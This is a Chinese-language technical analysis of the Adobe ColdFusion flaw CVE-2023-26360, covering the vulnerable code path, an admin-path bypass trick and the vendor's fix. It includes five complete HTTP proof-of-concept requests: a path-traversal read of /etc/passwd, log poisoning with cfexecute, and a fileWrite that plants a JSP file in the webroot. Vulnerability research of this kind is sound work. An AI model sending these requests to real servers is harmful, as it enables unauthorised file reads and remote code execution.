漏洞利用条件:无
漏洞影响版本: Adobe ColdFusion < 2018.0.16、Adobe ColdFusion < 2021.0.6
本文分析环境:Adobe Fusion 2018.0.15版本
Adobe ColdFusion是一种用于构建动态Web应用程序的服务器端编程语言和开发平台。它由Adobe Systems开发和维护。ColdFusion的主要目标是简化Web应用程序的开发过程,通过提供一个强大且易于使用的平台,使开发人员能够快速构建功能丰富的Web应用。
网上的漏洞利用入口为 /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/filemanager.cfc ,我们就先来分析 *.cfc 的路由处理逻辑。从 web.xml 配置文件里面可以看到,该路由的处理类为 coldfusion.bootstrap.BootstrapServlet 。而这个类只是一个入口类,实际处理类为 coldfusion.xml.rpc.CFCServlet 。
在 coldfusion.xml.rpc.CFCServlet 这个类里,使用 IPFilterUtils.checkAdminAccess() 函数来判断当前路由用户是否有权限访问。然而这个函数使用了 req.getRequestURI() 和 startsWith() 来判断权限,明显存在绕过。例如:原先访问 /CFIDE/adminapi 会被限制,现在改成 /CFIDE//adminapi 即可绕过程序检测。这处绕过,也就是后面的 CVE-2023-29298 漏洞。
本次我们分析的是 CVE-2023-26360 ,继续往下跟代码逻辑。Adobe ColdFusion 程序根据不同的请求类型(CFC或者Axis),创建对应的 filterchain 。在 CFC 对应的的 filterchain 中,我们需要关注 GlobalsFilter、ComponentFilter 这两个 filter 。
第一个过滤器 GlobalsFilter ,主要用来初始化请求相关信息,并将这些信息封装在不同的 scope 里。后续 POC 中的部分参数,就是从这些 scope 中获取,所以这里稍微关注下就行。
第二个过滤器 ComponentFilter ,就是本次漏洞要关注的核心类了。这里,我们需要重点关注以下3个部分。
在 JSONUtils.deserializeJSON() 函数中,程序会从用户请求数据中取 classname 数据,然后将其传给 TemplateProxyFactory.resolveFile() 函数。
TemplateProxyFactory.resolveFile() 函数,会根据传进来的文件路径,去加载对应的类。如果我们指定的路径文件不是标准的 Java 字节码文件,程序会自动把他编译成字节码文件,最终缓存至 /app/WEB-INF/cfclasses/ 目录下。新编译的类继承自 coldfusion.runtime.CFPage ,并且程序最终会调用新编译类的 runPage() 方法。我们可以来看一下,当模板文件名为 ../../../../../../../../../../../../../etc/passwd 时,程序编译后的字节码文件如下:
那么通过这一特性,我们就能达到任意文件读取的效果。在审计代码时,我们会发现这个系统上自带一些 cfc 文件。这些文件里面出现了很多特殊标签,如 cfinclude、cffunction、cfargument、cfset、cfif 等。通过查询资料,我们发现这些标签都属于 CFML(ColdFusion Markup Language)语言的一部分。那么我们就可以通过翻阅官方手册,找一些危险函数来达到 RCE 的目的。
例如:写文件函数
例如:命令执行函数
最终的利用思路:将 CFML 语句通过报错写入日志文件中,然后再通过 CVE-2023-26360 漏洞编译、执行日志文件实现 RCE 。
POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/filemanager.cfc?method=foo&_cfclient=true HTTP/1.1 Host: 127.0.0.1:8500 Content-Length: 90 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: zh-CN,zh;q=0.9 Connection: close _variables={"_metadata":{"classname":"../../../../../../../../../../../../../etc/passwd"}}
POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/filemanager.cfc?method=foo&_cfclient=true HTTP/1.1 Host: 127.0.0.1:8500 Content-Length: 67 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: zh-CN,zh;q=0.9 Connection: close _variables=<cfexecute name='id' outputFile='/tmp/aaa' ></cfexecute>
POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/filemanager.cfc?method=foo&_cfclient=true HTTP/1.1 Host: 127.0.0.1:8500 Content-Length: 178 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: zh-CN,zh;q=0.9 Connection: close _variables={"_metadata":{"classname":"../../../../../../../../../../../../../../../../../../../../../../../../../opt/coldfusion/cfusion/logs/coldfusion-out.log","_variables":[]}}
POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/filemanager.cfc?method=foo&_cfclient=true HTTP/1.1 Host: 127.0.0.1:8500 Content-Length: 108 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: zh-CN,zh;q=0.9 Connection: close _variables=<cfscript>fileWrite('/opt/coldfusion/cfusion/wwwroot/cf_scripts/demo.jsp','<%=233%>');</cfscript>
POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/filemanager.cfc?method=foo&_cfclient=true HTTP/1.1 Host: 127.0.0.1:8500 Content-Length: 178 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: zh-CN,zh;q=0.9 Connection: close _variables={"_metadata":{"classname":"../../../../../../../../../../../../../../../../../../../../../../../../../opt/coldfusion/cfusion/logs/coldfusion-out.log","_variables":[]}}
官方修复方式:所有的 cfclient 请求,文件后缀必须是 .cfc 结尾,相当于只能请求服务器上已有的 cfc 文件了。
https://blog.securelayer7.net/unauthorized-rce-in-adobe-coldfusion/
https://attackerkb.com/topics/F36ClHTTIQ/cve-2023-26360/rapid7-analysis
https://shfsec.com/cve-analysis-adobe-coldfusion-from-lfi-to-rce-cve-2023-26359-cve-2023-26360